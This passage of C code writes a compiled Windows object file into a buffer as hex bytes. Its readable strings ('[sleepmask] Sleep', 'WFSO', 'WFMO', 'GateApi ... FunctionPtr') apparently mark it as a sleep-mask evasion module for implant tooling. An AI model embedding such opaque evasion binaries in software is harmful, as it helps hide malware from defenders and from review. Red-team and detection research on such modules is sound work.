(p)[2128]=0x65; (p)[2129]=0x70; (p)[2130]=0x6D; (p)[2131]=0x61; (p)[2132]=0x73; (p)[2133]=0x6B; (p)[2134]=0x5D; (p)[2135]=0x20; \
|
||||
(p)[2136]=0x53; (p)[2137]=0x6C; (p)[2138]=0x65; (p)[2139]=0x65; (p)[2140]=0x70; (p)[2141]=0x28; (p)[2142]=0x25; (p)[2143]=0x6C; \
|
||||
(p)[2144]=0x75; (p)[2145]=0x20; (p)[2146]=0x6D; (p)[2147]=0x73; (p)[2148]=0x29; (p)[2149]=0x0A; (p)[2150]=0x00; (p)[2151]=0x00; \
|
||||
(p)[2152]=0x00; (p)[2153]=0x00; (p)[2154]=0x00; (p)[2155]=0x00; (p)[2156]=0x5B; (p)[2157]=0x73; (p)[2158]=0x6C; (p)[2159]=0x65; \
|
||||
(p)[2160]=0x65; (p)[2161]=0x70; (p)[2162]=0x6D; (p)[2163]=0x61; (p)[2164]=0x73; (p)[2165]=0x6B; (p)[2166]=0x5D; (p)[2167]=0x20; \
|
||||
(p)[2168]=0x57; (p)[2169]=0x46; (p)[2170]=0x53; (p)[2171]=0x4F; (p)[2172]=0x28; (p)[2173]=0x68; (p)[2174]=0x61; (p)[2175]=0x6E; \
|
||||
(p)[2176]=0x64; (p)[2177]=0x6C; (p)[2178]=0x65; (p)[2179]=0x3D; (p)[2180]=0x25; (p)[2181]=0x70; (p)[2182]=0x20; (p)[2183]=0x6D; \
|
||||
(p)[2184]=0x73; (p)[2185]=0x3D; (p)[2186]=0x25; (p)[2187]=0x6C; (p)[2188]=0x75; (p)[2189]=0x29; (p)[2190]=0x0A; (p)[2191]=0x00; \
|
||||
(p)[2192]=0x00; (p)[2193]=0x00; (p)[2194]=0x00; (p)[2195]=0x00; (p)[2196]=0x5B; (p)[2197]=0x73; (p)[2198]=0x6C; (p)[2199]=0x65; \
|
||||
(p)[2200]=0x65; (p)[2201]=0x70; (p)[2202]=0x6D; (p)[2203]=0x61; (p)[2204]=0x73; (p)[2205]=0x6B; (p)[2206]=0x5D; (p)[2207]=0x20; \
|
||||
(p)[2208]=0x57; (p)[2209]=0x46; (p)[2210]=0x4D; (p)[2211]=0x4F; (p)[2212]=0x28; (p)[2213]=0x6E; (p)[2214]=0x3D; (p)[2215]=0x25; \
|
||||
(p)[2216]=0x6C; (p)[2217]=0x75; (p)[2218]=0x20; (p)[2219]=0x77; (p)[2220]=0x61; (p)[2221]=0x69; (p)[2222]=0x74; (p)[2223]=0x41; \
|
||||
(p)[2224]=0x6C; (p)[2225]=0x6C; (p)[2226]=0x3D; (p)[2227]=0x25; (p)[2228]=0x64; (p)[2229]=0x20; (p)[2230]=0x6D; (p)[2231]=0x73; \
|
||||
(p)[2232]=0x3D; (p)[2233]=0x25; (p)[2234]=0x6C; (p)[2235]=0x75; (p)[2236]=0x29; (p)[2237]=0x0A; (p)[2238]=0x00; (p)[2239]=0x00; \
|
||||
(p)[2240]=0x00; (p)[2241]=0x00; (p)[2242]=0x00; (p)[2243]=0x00; (p)[2244]=0x5B; (p)[2245]=0x73; (p)[2246]=0x6C; (p)[2247]=0x65; \
|
||||
(p)[2248]=0x65; (p)[2249]=0x70; (p)[2250]=0x6D; (p)[2251]=0x61; (p)[2252]=0x73; (p)[2253]=0x6B; (p)[2254]=0x5D; (p)[2255]=0x20; \
|
||||
(p)[2256]=0x47; (p)[2257]=0x61; (p)[2258]=0x74; (p)[2259]=0x65; (p)[2260]=0x41; (p)[2261]=0x70; (p)[2262]=0x69; (p)[2263]=0x3D; \
|
||||
(p)[2264]=0x30; (p)[2265]=0x78; (p)[2266]=0x25; (p)[2267]=0x30; (p)[2268]=0x32; (p)[2269]=0x78; (p)[2270]=0x20; (p)[2271]=0x4E; \
|
||||
(p)[2272]=0x75; (p)[2273]=0x6D; (p)[2274]=0x41; (p)[2275]=0x72; (p)[2276]=0x67; (p)[2277]=0x73; (p)[2278]=0x3D; (p)[2279]=0x25; \
|
||||
(p)[2280]=0x6C; (p)[2281]=0x75; (p)[2282]=0x20; (p)[2283]=0x46; (p)[2284]=0x75; (p)[2285]=0x6E; (p)[2286]=0x63; (p)[2287]=0x74; \
|
||||
(p)[2288]=0x69; (p)[2289]=0x6F; (p)[2290]=0x6E; (p)[2291]=0x50; (p)[2292]=0x74; (p)[2293]=0x72; (p)[2294]=0x3D; (p)[2295]=0x25; \
|
||||
(p)[2296]=0x70; (p)[2297]=0x0A; (p)[2298]=0x00; (p)[2299]=0x00; (p)[2300]=0x01; (p)[2301]=0x08; (p)[2302]=0x03; (p)[2303]=0x05; \
|
||||
(p)[2304]=0x08; (p)[2305]=0x92; (p)[2306]=0x04; (p)[2307]=0x03; (p)[2308]=0x01; (p)[2309]=0x50; (p)[2310]=0x00; (p)[2311]=0x00; \
|
||||
(p)[2312]=0x01; (p)[2313]=0x08; (p)[2314]=0x03; (p)[2315]=0x05; (p)[2316]=0x08; (p)[2317]=0x72; (p)[2318]=0x04; (p)[2319]=0x03; \
|
||||
(p)[2320]=0x01; (p)[2321]=0x50; (p)[2322]=0x00; (p)[2323]=0x00; (p)[2324]=0x01; (p)[2325]=0x08; (p)[2326]=0x03; (p)[2327]=0x05; \
|
||||
(p)[2328]=0x08; (p)[2329]=0x52; (p)[2330]=0x04; (p)[2331]=0x03; (p)[2332]=0x01; (p)[2333]=0x50; (p)[2334]=0x00; (p)[2335]=0x00; \
|
||||
(p)[2336]=0x01; (p)[2337]=0x08; (p)[2338]=0x03; (p)[2339]=0x05; (p)[2340]=0x08; (p)[2341]=0x92; (p)[2342]=0x04; (p)[2343]=0x03; \
|
||||
(p)[2344]=0x01; (p)[2345]=0x50; (p)[2346]=0x00; (p)[2347]=0x00; (p)[2348]=0x01; (p)[2349]=0x0F; (p)[2350]=0x07; (p)[2351]=0x55; \
|
||||
(p)[2352]=0x0F; (p)[2353]=0x03; (p)[2354]=0x0A; (p)[2355]=0x92; (p)[2356]=0x06; (p)[2357]=0x30; (p)[2358]=0x05; (p)[2359]=0x60; \
|
||||
(p)[2360]=0x04; (p)[2361]=0x70; (p)[2362]=0x03; (p)[2363]=0xC0; (p)[2364]=0x01; (p)[2365]=0x50; (p)[2366]=0x00; (p)[2367]=0x00; \
|
||||
(p)[2368]=0x01; (p)[2369]=0x08; (p)[2370]=0x03; (p)[2371]=0x05; (p)[2372]=0x08; (p)[2373]=0x32; (p)[2374]=0x04; (p)[2375]=0x03; \
|
||||
(p)[2376]=0x01; (p)[2377]=0x50; (p)[2378]=0x00; (p)[2379]=0x00; (p)[2380]=0x00; (p)[2381]=0x00; (p)[2382]=0x00; (p)[2383]=0x00; \
|
||||
(p)[2384]=0xA7; (p)[2385]=0x00; (p)[2386]=0x00; (p)[2387]=0x00; (p)[2388]=0x00; (p)[2389]=0x00; (p)[2390]=0x00; (p)[2391]=0x00; \
|
||||
(p)[2392]=0xA7; (p)[2393]=0x00; (p)[2394]=0x00; (p)[2395]=0x00; (p)[2396]=0x29; (p)[2397]=0x01; (p)[2398]=0x00; (p)[2399]=0x00; \
|
||||
(p)[2400]=0x0C; (p)[2401]=0x00; (p)[2402]=0x00; (p)[2403]=0x00; (p)[2404]=0x29; (p)[2405]=0x01; (p)[2406]=0x00; (p)[2407]=0x00; \
|
||||
(p)[2408]=0xB4; (p)[2409]=0x01; (p)[2410]=0x00; (p)[2411]=0x00; (p)[2412]=0x18; (p)[2413]=0x00; (p)[2414]=0x00; (p)[2415]=0x00; \
|
||||
(p)[2416]=0xB4; (p)[2417]=0x01; (p)[2418]=0x00; (p)[2419]=0x00; (p)[2420]=0x28; (p)[2421]=0x02; (p)[2422]=0x00; (p)[2423]=0x00; \
|
||||
(p)[2424]=0x24; (p)[2425]=0x00; (p)[2426]=0x00; (p)[2427]=0x00; (p)[2428]=0x28; (p)[2429]=0x02; (p)[2430]=0x00; (p)[2431]=0x00; \
|
||||
(p)[2432]=0x6F; (p)[2433]=0x06; (p)[2434]=0x00; (p)[2435]=0x00; (p)[2436]=0x30; (p)[2437]=0x00; (p)[2438]=0x00; (p)[2439]=0x00; \
|
||||
(p)[2440]=0x70; (p)[2441]=0x06; (p)[2442]=0x00; (p)[2443]=0x00; (p)[2444]=0x1F; (p)[2445]=0x07; (p)[2446]=0x00; (p)[2447]=0x00; \
|
||||
(p)[2448]=0x44; (p)[2449]=0x00; (p)[2450]=0x00; (p)[2451]=0x00; (p)[2452]=0x47; (p)[2453]=0x43; (p)[2454]=0x43; (p)[2455]=0x3A; \
|
||||
(p)[2456]=0x20; (p)[2457]=0x28; (p)[2458]=0x47; (p)[2459]=0x4E; (p)[2460]=0x55; (p)[2461]=0x29; (p)[2462]=0x20; (p)[2463]=0x31; \
|
||||
(p)[2464]=0x35; (p)[2465]=0x2D; (p)[2466]=0x77; (p)[2467]=0x69; (p)[2468]=0x6E; (p)[2469]=0x33; (p)[2470]=0x32; (p)[2471]=0x00; \
|
||||
(p)[2472]=0x00; (p)[2473]=0x00; (p)[2474]=0x00; (p)[2475]=0x00; (p)[2476]=0x00; (p)[2477]=0x00; (p)[2478]=0x00; (p)[2479]=0x00; \
|
||||
(p)[2480]=0x00; (p)[2481]=0x00; (p)[2482]=0x00; (p)[2483]=0x00; (p)[2484]=0x1D; (p)[2485]=0x00; (p)[2486]=0x00; (p)[2487]=0x00; \
|
||||
(p)[2488]=0x14; (p)[2489]=0x00; (p)[2490]=0x00; (p)[2491]=0x00; (p)[2492]=0x04; (p)[2493]=0x00; (p)[2494]=0x26; (p)[2495]=0x00; \
|
||||
(p)[2496]=0x00; (p)[2497]=0x00; (p)[2498]=0x1C; (p)[2499]=0x00; (p)[2500]=0x00; (p)[2501]=0x00; (p)[2502]=0x04; (p)[2503]=0x00; \
|
||||
(p)[2504]=0x57; (p)[2505]=0x00; (p)[2506]=0x00; (p)[2507]=0x00; (p)[2508]=0x1D; (p)[2509]=0x00; (p)[2510]=0x00; (p)[2511]=0x00; \
|
||||
(p)[2512]=0x04; (p)[2513]=0x00; (p)[2514]=0x8A; (p)[2515]=0x00; (p)[2516]=0x00; (p)[2517]=0x00; (p)[2518]=0x1E; (p)[2519]=0x00; \
|
||||
(p)[2520]=0x00; (p)[2521]=0x00; (p)[2522]=0x04; (p)[2523]=0x00; (p)[2524]=0x9A; (p)[2525]=0x00; (p)[2526]=0x00; (p)[2527]=0x00; \
|
||||
(p)[2528]=0x1F; (p)[2529]=0x00; (p)[2530]=0x00; (p)[2531]=0x00; (p)[2532]=0x04; (p)[2533]=0x00; (p)[2534]=0xD4; (p)[2535]=0x00; \
|
||||
(p)[2536]=0x00; (p)[2537]=0x00; (p)[2538]=0x14; (p)[2539]=0x00; (p)[2540]=0x00; (p)[2541]=0x00; (p)[2542]=0x04; (p)[2543]=0x00; \
|
||||
(p)[2544]=0xE1; (p)[2545]=0x00; (p)[2546]=0x00; (p)[2547]=0x00; (p)[2548]=0x1C; (p)[2549]=0x00; (p)[2550]=0x00; (p)[2551]=0x00; \
|
||||
(p)[2552]=0x04; (p)[2553]=0x00; (p)[2554]=0x0B; (p)[2555]=0x01; (p)[2556]=0x00; (p)[2557]=0x00; (p)[2558]=0x1E; (p)[2559]=0x00; \
|
||||
(p)[2560]=0x00; (p)[2561]=0x00; (p)[2562]=0x04; (p)[2563]=0x00; (p)[2564]=0x5B; (p)[2565]=0x01; (p)[2566]=0x00; (p)[2567]=0x00; \
|
||||
(p)[2568]=0x14; (p)[2569]=0x00; (p)[2570]=0x00; (p)[2571]=0x00; (p)[2572]=0x04; (p)[2573]=0x00; (p)[2574]=0x6A; (p)[2575]=0x01; \
|
||||
(p)[2576]=0x00; (p)[2577]=0x00; (p)[2578]=0x1C; (p)[2579]=0x00; (p)[2580]=0x00; (p)[2581]=0x00; (p)[2582]=0x04; (p)[2583]=0x00; \
|
||||
(p)[2584]=0x99; (p)[2585]=0x01; (p)[2586]=0x00; (p)[2587]=0x00; (p)[2588]=0x20; (p)[2589]=0x00; (p)[2590]=0x00; (p)[2591]=0x00; \
|
||||
(p)[2592]=0x04; (p)[2593]=0x00; (p)[2594]=0x0A; (p)[2595]=0x02; (p)[2596]=0x00; (p)[2597]=0x00; (p)[2598]=0x21; (p)[2599]=0x00; \
|
||||
(p)[2600]=0x00; (p)[2601]=0x00; (p)[2602]=0x04; (p)[2603]=0x00; (p)[2604]=0x98; (p)[2605]=0x06; (p)[2606]=0x00; (p)[2607]=0x00; \
|
||||
(p)[2608]=0x14; (p)[2609]=0x00; (p)[2610]=0x00; (p)[2611]=0x00; (p)[2612]=0x04; (p)[2613]=0x00; (p)[2614]=0xA7; (p)[2615]=0x06; \
|
||||
(p)[2616]=0x00; (p)[2617]=0x00; (p)[2618]=0x1C; (p)[2619]=0x00; (p)[2620]=0x00; (p)[2621]=0x00; (p)[2622]=0x04; (p)[2623]=0x00; \
|
||||
(p)[2624]=0x00; (p)[2625]=0x00; (p)[2626]=0x00; (p)[2627]=0x00; (p)[2628]=0x0E; (p)[2629]=0x00; (p)[2630]=0x00; (p)[2631]=0x00; \
|
||||
(p)[2632]=0x03; (p)[2633]=0x00; (p)[2634]=0x04; (p)[2635]=0x00; (p)[2636]=0x00; (p)[2637]=0x00; (p)[2638]=0x0E; (p)[2639]=0x00; \
|
||||
(p)[2640]=0x00; (p)[2641]=0x00; (p)[2642]=0x03; (p)[2643]=0x00; (p)[2644]=0x08; (p)[2645]=0x00; (p)[2646]=0x00; (p)[2647]=0x00; \
|
||||
(p)[2648]=0x16; (p)[2649]=0x00; (p)[2650]=0x00; (p)[2651]=0x00; (p)[2652]=0x03; (p)[2653]=0x00; (p)[2654]=0x0C; (p)[2655]=0x00; \
|
||||
(p)[2656]=0x00; (p)[2657]=0x00; (p)[2658]=0x0E; (p)[2659]=0x00; (p)[2660]=0x00; (p)[2661]=0x00; (p)[2662]=0x03; (p)[2663]=0x00; \
|
||||
(p)[2664]=0x10; (p)[2665]=0x00; (p)[2666]=0x00; (p)[2667]=0x00; (p)[2668]=0x0E; (p)[2669]=0x00; (p)[2670]=0x00; (p)[2671]=0x00; \
|
||||
(p)[2672]=0x03; (p)[2673]=0x00; (p)[2674]=0x14; (p)[2675]=0x00; (p)[2676]=0x00; (p)[2677]=0x00; (p)[2678]=0x16; (p)[2679]=0x00; \
|
||||
(p)[2680]=0x00; (p)[2681]=0x00; (p)[2682]=0x03; (p)[2683]=0x00; (p)[2684]=0x18; (p)[2685]=0x00; (p)[2686]=0x00; (p)[2687]=0x00; \
|
||||
(p)[2688]=0x0E; (p)[2689]=0x00; (p)[2690]=0x00; (p)[2691]=0x00; (p)[2692]=0x03; (p)[2693]=0x00; (p)[2694]=0x1C; (p)[2695]=0x00; \
|
||||
(p)[2696]=0x00; (p)[2697]=0x00; (p)[2698]=0x0E; (p)[2699]=0x00; (p)[2700]=0x00; (p)[2701]=0x00; (p)[2702]=0x03; (p)[2703]=0x00; \
|
||||
(p)[2704]=0x20; (p)[2705]=0x00; (p)[2706]=0x00; (p)[2707]=0x00; (p)[2708]=0x16; (p)[2709]=0x00; (p)[2710]=0x00; (p)[2711]=0x00; \
|
||||
(p)[2712]=0x03; (p)[2713]=0x00; (p)[2714]=0x24; (p)[2715]=0x00; (p)[2716]=0x00; (p)[2717]=0x00; (p)[2718]=0x0E; (p)[2719]=0x00; \
|
||||
(p)[2720]=0x00; (p)[2721]=0x00; (p)[2722]=0x03; (p)[2723]=0x00; (p)[2724]=0x28; (p)[2725]=0x00; (p)[2726]=0x00; (p)[2727]=0x00; \
|
||||
(p)[2728]=0x0E; (p)[2729]=0x00; (p)[2730]=0x00; (p)[2731]=0x00; (p)[2732]=0x03; (p)[2733]=0x00; (p)[2734]=0x2C; (p)[2735]=0x00; \
|
||||
(p)[2736]=0x00; (p)[2737]=0x00; (p)[2738]=0x16; (p)[2739]=0x00; (p)[2740]=0x00; (p)[2741]=0x00; (p)[2742]=0x03; (p)[2743]=0x00; \
|
||||
(p)[2744]=0x30; (p)[2745]=0x00; (p)[2746]=0x00; (p)[2747]=0x00; (p)[2748]=0x0E; (p)[2749]=0x00; (p)[2750]=0x00; (p)[2751]=0x00; \
|
||||
(p)[2752]=0x03; (p)[2753]=0x00; (p)[2754]=0x34; (p)[2755]=0x00; (p)[2756]=0x00; (p)[2757]=0x00; (p)[2758]=0x0E; (p)[2759]=0x00; \
|
||||
(p)[2760]=0x00; (p)[2761]=0x00; (p)[2762]=0x03; (p)[2763]=0x00; (p)[2764]=0x38; (p)[2765]=0x00; (p)[2766]=0x00; (p)[2767]=0x00; \
|
||||
(p)[2768]=0x16; (p)[2769]=0x00; (p)[2770]=0x00; (p)[2771]=0x00; (p)[2772]=0x03; (p)[2773]=0x00; (p)[2774]=0x3C; (p)[2775]=0x00; \
|
||||
(p)[2776]=0x00; (p)[2777]=0x00; (p)[2778]=0x0E; (p)[2779]=0x00; (p)[2780]=0x00; (p)[2781]=0x00; (p)[2782]=0x03; (p)[2783]=0x00; \
|
||||
(p)[2784]=0x40; (p)[2785]=0x00; (p)[2786]=0x00; (p)[2787]=0x00; (p)[2788]=0x0E; (p)[2789]=0x00; (p)[2790]=0x00; (p)[2791]=0x00; \
|
||||
(p)[2792]=0x03; (p)[2793]=0x00; (p)[2794]=0x44; (p)[2795]=0x00; (p)[2796]=0x00; (p)[2797]=0x00; (p)[2798]=0x16; (p)[2799]=0x00; \
|
||||
(p)[2800]=0x00; (p)[2801]=0x00; (p)[2802]=0x03; (p)[2803]=0x00; (p)[2804]=0x2E; (p)[2805]=0x66; (p)[2806]=0x69; (p)[2807]=0x6C; \
|
||||
(p)[2808]=0x65; (p)[2809]=0x00; (p)[2810]=0x00; (p)[2811]=0x00; (p)[2812]=0x00; (p)[2813]=0x00; (p)[2814]=0x00; (p)[2815]=0x00; \
|
||||
(p)[2816]=0xFE; (p)[2817]=0xFF; (p)[2818]=0x00; (p)[2819]=0x00; (p)[2820]=0x67; (p)[2821]=0x01; (p)[2822]=0x6D; (p)[2823]=0x61; \
|
||||
(p)[2824]=0x69; (p)[2825]=0x6E; (p)[2826]=0x2E; (p)[2827]=0x63; (p)[2828]=0x00; (p)[2829]=0x00; (p)[2830]=0x00; (p)[2831]=0x00; \
|
||||
(p)[2832]=0x00; (p)[2833]=0x00; (p)[2834]=0x00; (p)[2835]=0x00; (p)[2836]=0x00; (p)[2837]=0x00; (p)[2838]=0x00; (p)[2839]=0x00; \
|
||||
(p)[2840]=0x00; (p)[2841]=0x00; (p)[2842]=0x00; (p)[2843]=0x00; (p)[2844]=0x0F; (p)[2845]=0x00; (p)[2846]=0x00; (p)[2847]=0x00; \
|
||||
(p)[2848]=0x00; (p)[2849]=0x00; (p)[2850]=0x00; (p)[2851]=0x00; (p)[2852]=0x01; (p)[2853]=0x00; (p)[2854]=0x20; (p)[2855]=0x00; \
|
||||
(p)[2856]=0x03; (p)[2857]=0x01; (p)[2858]=0x00; (p)[2859]=0x00; (p)[2860]=0x00; (p)[2861]=0x00; (p)[2862]=0x00; (p)[2863]=0x00; \
|
||||
(p)[2864]=0x00; (p)[2865]=0x00; (p)[2866]=0x00; (p)[2867]=0x00; (p)[2868]=0x00; (p)[2869]=0x00; (p)[2870]=0x04; (p)[2871]=0x00; \
|
||||
(p)[2872]=0x00; (p)[2873]=0x00; (p)[2874]=0x00; (p)[2875]=0x00; (p)[2876]=0x00; (p)[2877]=0x00; (p)[2878]=0x00; (p)[2879]=0x00; \
|
||||
(p)[2880]=0x1B; (p)[2881]=0x00; (p)[2882]=0x00; (p)[2883]=0x00; (p)[2884]=0xA7; (p)[2885]=0x00; (p)[2886]=0x00; (p)[2887]=0x00; \
|
||||
(p)[2888]=0x01; (p)[2889]=0x00; (p)[2890]=0x20; (p)[2891]=0x00; (p)[2892]=0x03; (p)[2893]=0x01; (p)[2894]=0x00; (p)[2895]=0x00; \
|
||||
(p)[2896]=0x00; (p)[2897]=0x00; (p)[2898]=0x00; (p)[2899]=0x00; (p)[2900]=0x00; (p)[2901]=0x00; (p)[2902]=0x00; (p)[2903]=0x00; \
|
||||
(p)[2904]=0x00; (p)[2905]=0x00; (p)[2906]=0x06; (p)[2907]=0x00; (p)[2908]=0x00; (p)[2909]=0x00; (p)[2910]=0x00; (p)[2911]=0x00; \
|
||||
(p)[2912]=0x00; (p)[2913]=0x00; (p)[2914]=0x00; (p)[2915]=0x00; (p)[2916]=0x35; (p)[2917]=0x00; (p)[2918]=0x00; (p)[2919]=0x00; \
|
||||
(p)[2920]=0x29; (p)[2921]=0x01; (p)[2922]=0x00; (p)[2923]=0x00; (p)[2924]=0x01; (p)[2925]=0x00; (p)[2926]=0x20; (p)[2927]=0x00; \
|
||||
(p)[2928]=0x03; (p)[2929]=0x01; (p)[2930]=0x00; (p)[2931]=0x00; (p)[2932]=0x00; (p)[2933]=0x00; (p)[2934]=0x00; (p)[2935]=0x00; \
|
||||
(p)[2936]=0x00; (p)[2937]=0x00; (p)[2938]=0x00; (p)[2939]=0x00; (p)[2940]=0x00; (p)[2941]=0x00; (p)[2942]=0x08; (p)[2943]=0x00; \
|
||||
(p)[2944]=0x00; (p)[2945]=0x00; (p)[2946]=0x00; (p)[2947]=0x00; (p)[2948]=0x00; (p)[2949]=0x00; (p)[2950]=0x00; (p)[2951]=0x00; \
|
||||
(p)[2952]=0x52; (p)[2953]=0x00; (p)[2954]=0x00; (p)[2955]=0x00; (p)[2956]=0xB4; (p)[2957]=0x01; (p)[2958]=0x00; (p)[2959]=0x00; \
|
||||
(p)[2960]=0x01; (p)[2961]=0x00; (p)[2962]=0x20; (p)[2963]=0x00; (p)[2964]=0x03; (p)[2965]=0x01; (p)[2966]=0x00; (p)[2967]=0x00; \
|
||||
(p)[2968]=0x00; (p)[2969]=0x00; (p)[2970]=0x00; (p)[2971]=0x00; (p)[2972]=0x00; (p)[2973]=0x00; (p)[2974]=0x00; (p)[2975]=0x00; \
|
||||
(p)[2976]=0x00; (p)[2977]=0x00; (p)[2978]=0x0A; (p)[2979]=0x00; (p)[2980]=0x00; (p)[2981]=0x00; (p)[2982]=0x00; (p)[2983]=0x00; \
|
||||
(p)[2984]=0x00; (p)[2985]=0x00; (p)[2986]=0x00; (p)[2987]=0x00; (p)[2988]=0x67; (p)[2989]=0x00; (p)[2990]=0x00; (p)[2991]=0x00; \
|
||||
(p)[2992]=0x28; (p)[2993]=0x02; (p)[2994]=0x00; (p)[2995]=0x00; (p)[2996]=0x01; (p)[2997]=0x00; (p)[2998]=0x20; (p)[2999]=0x00; \
|
||||
(p)[3000]=0x03; (p)[3001]=0x01; (p)[3002]=0x00; (p)[3003]=0x00; (p)[3004]=0x00; (p)[3005]=0x00; (p)[3006]=0x00; (p)[3007]=0x00; \
|
||||
(p)[3008]=0x00; (p)[3009]=0x00; (p)[3010]=0x00; (p)[3011]=0x00; (p)[3012]=0x00; (p)[3013]=0x00; (p)[3014]=0x0C; (p)[3015]=0x00; \
|
||||
(p)[3016]=0x00; (p)[3017]=0x00; (p)[3018]=0x00; (p)[3019]=0x00; (p)[3020]=0x00; (p)[3021]=0x00; (p)[3022]=0x00; (p)[3023]=0x00; \
|
||||
(p)[3024]=0x75; (p)[3025]=0x00; (p)[3026]=0x00; (p)[3027]=0x00; (p)[3028]=0x70; (p)[3029]=0x06; (p)[3030]=0x00; (p)[3031]=0x00; \
|
||||
(p)[3032]=0x01; (p)[3033]=0x00; (p)[3034]=0x20; (p)[3035]=0x00; (p)[3036]=0x02; (p)[3037]=0x01; (p)[3038]=0x00; (p)[3039]=0x00; \
|
||||
(p)[3040]=0x00; (p)[3041]=0x00; (p)[3042]=0x00; (p)[3043]=0x00; (p)[3044]=0x00; (p)[3045]=0x00; (p)[3046]=0x00; (p)[3047]=0x00; \
|
||||
(p)[3048]=0x00; (p)[3049]=0x00; (p)[3050]=0x00; (p)[3051]=0x00; (p)[3052]=0x00; (p)[3053]=0x00; (p)[3054]=0x00; (p)[3055]=0x00; \
|
||||
(p)[3056]=0x2E; (p)[3057]=0x74; (p)[3058]=0x65; (p)[3059]=0x78; (p)[3060]=0x74; (p)[3061]=0x00; (p)[3062]=0x00; (p)[3063]=0x00; \
|
||||
(p)[3064]=0x00; (p)[3065]=0x00; (p)[3066]=0x00; (p)[3067]=0x00; (p)[3068]=0x01; (p)[3069]=0x00; (p)[3070]=0x00; (p)[3071]=0x00; \
|
||||
(p)[3072]=0x03; (p)[3073]=0x01; (p)[3074]=0x1F; (p)[3075]=0x07; (p)[3076]=0x00; (p)[3077]=0x00; (p)[3078]=0x0E; (p)[3079]=0x00; \
|
||||
(p)[3080]=0x00; (p)[3081]=0x00; (p)[3082]=0x00; (p)[3083]=0x00; (p)[3084]=0x00; (p)[3085]=0x00; (p)[3086]=0x00; (p)[3087]=0x00; \
|
||||
(p)[3088]=0x00; (p)[3089]=0x00; (p)[3090]=0x00; (p)[3091]=0x00; (p)[3092]=0x2E; (p)[3093]=0x64; (p)[3094]=0x61; (p)[3095]=0x74; \
|
||||
(p)[3096]=0x61; (p)[3097]=0x00; (p)[3098]=0x00; (p)[3099]=0x00; (p)[3100]=0x00; (p)[3101]=0x00; (p)[3102]=0x00; (p)[3103]=0x00; \
|
||||
(p)[3104]=0x02; (p)[3105]=0x00; (p)[3106]=0x00; (p)[3107]=0x00; (p)[3108]=0x03; (p)[3109]=0x01; (p)[3110]=0x00; (p)[3111]=0x00; \
|
||||
(p)[3112]=0x00; (p)[3113]=0x00; (p)[3114]=0x00; (p)[3115]=0x00; (p)[3116]=0x00; (p)[3117]=0x00; (p)[3118]=0x00; (p)[3119]=0x00; \
|
||||
(p)[3120]=0x00; (p)[3121]=0x00; (p)[3122]=0x00; (p)[3123]=0x00; (p)[3124]=0x00; (p)[3125]=0x00; (p)[3126]=0x00; (p)[3127]=0x00; \
|
||||
(p)[3128]=0x2E; (p)[3129]=0x62; (p)[3130]=0x73; (p)[3131]=0x73; (p)[3132]=0x00; (p)[3133]=0x00; (p)[3134]=0x00; (p)[3135]=0x00; \
|
||||
(p)[3136]=0x00; (p)[3137]=0x00; (p)[3138]=0x00; (p)[3139]=0x00; (p)[3140]=0x03; (p)[3141]=0x00; (p)[3142]=0x00; (p)[3143]=0x00; \
|
||||
(p)[3144]=0x03; (p)[3145]=0x01; (p)[3146]=0x00; (p)[3147]=0x00; (p)[3148]=0x00; (p)[3149]=0x00; (p)[3150]=0x00; (p)[3151]=0x00; \
|
||||
(p)[3152]=0x00; (p)[3153]=0x00; (p)[3154]=0x00; (p)[3155]=0x00; (p)[3156]=0x00; (p)[3157]=0x00; (p)[3158]=0x00; (p)[3159]=0x00; \
|
||||
(p)[3160]=0x00; (p)[3161]=0x00; (p)[3162]=0x00; (p)[3163]=0x00; (p)[3164]=0x2E; (p)[3165]=0x72; (p)[3166]=0x64; (p)[3167]=0x61; \
|
||||
(p)[3168]=0x74; (p)[3169]=0x61; (p)[3170]=0x00; (p)[3171]=0x00; (p)[3172]=0x00; (p)[3173]=0x00; (p)[3174]=0x00; (p)[3175]=0x00; \
|
||||
(p)[3176]=0x04; (p)[3177]=0x00; (p)[3178]=0x00; (p)[3179]=0x00; (p)[3180]=0x03; (p)[3181]=0x01; (p)[3182]=0xAF; (p)[3183]=0x00; \
|
||||
(p)[3184]=0x00; (p)[3185]=0x00; (p)[3186]=0x00; (p)[3187]=0x00; (p)[3188]=0x00; (p)[3189]=0x00; (p)[3190]=0x00; (p)[3191]=0x00; \
|
||||
(p)[3192]=0x00; (p)[3193]=0x00; (p)[3194]=0x00; (p)[3195]=0x00; (p)[3196]=0x00; (p)[3197]=0x00; (p)[3198]=0x00; (p)[3199]=0x00; \
|
||||
(p)[3200]=0x2E; (p)[3201]=0x78; (p)[3202]=0x64; (p)[3203]=0x61; (p)[3204]=0x74; (p)[3205]=0x61; (p)[3206]=0x00; (p)[3207]=0x00; \
|
||||
(p)[3208]=0x00; (p)[3209]=0x00; (p)[3210]=0x00; (p)[3211]=0x00; (p)[3212]=0x05; (p)[3213]=0x00; (p)[3214]=0x00; (p)[3215]=0x00; \
|
||||
(p)[3216]=0x03; (p)[3217]=0x01; (p)[3218]=0x50; (p)[3219]=0x00; (p)[3220]=0x00; (p)[3221]=0x00; (p)[3222]=0x00; (p)[3223]=0x00; \
|
||||
(p)[3224]=0x00; (p)[3225]=0x00; (p)[3226]=0x00; (p)[3227]=0x00; (p)[3228]=0x00; (p)[3229]=0x00; (p)[3230]=0x00; (p)[3231]=0x00; \
|
||||
(p)[3232]=0x00; (p)[3233]=0x00; (p)[3234]=0x00; (p)[3235]=0x00; (p)[3236]=0x2E; (p)[3237]=0x70; (p)[3238]=0x64; (p)[3239]=0x61; \
|
||||
(p)[3240]=0x74; (p)[3241]=0x61; (p)[3242]=0x00; (p)[3243]=0x00; (p)[3244]=0x00; (p)[3245]=0x00; (p)[3246]=0x00; (p)[3247]=0x00; \
|
||||
(p)[3248]=0x06; (p)[3249]=0x00; (p)[3250]=0x00; (p)[3251]=0x00; (p)[3252]=0x03; (p)[3253]=0x01; (p)[3254]=0x48; (p)[3255]=0x00; \
|
||||
(p)[3256]=0x00; (p)[3257]=0x00; (p)[3258]=0x12; (p)[3259]=0x00; (p)[3260]=0x00; (p)[3261]=0x00; (p)[3262]=0x00; (p)[3263]=0x00; \
|
||||
(p)[3264]=0x00; (p)[3265]=0x00; (p)[3266]=0x00; (p)[3267]=0x00; (p)[3268]=0x00; (p)[3269]=0x00; (p)[3270]=0x00; (p)[3271]=0x00; \
|
||||
(p)[3272]=0x00; (p)[3273]=0x00; (p)[3274]=0x00; (p)[3275]=0x00; (p)[3276]=0x80; (p)[3277]=0x00; (p)[3278]=0x00; (p)[3279]=0x00; \
|
||||
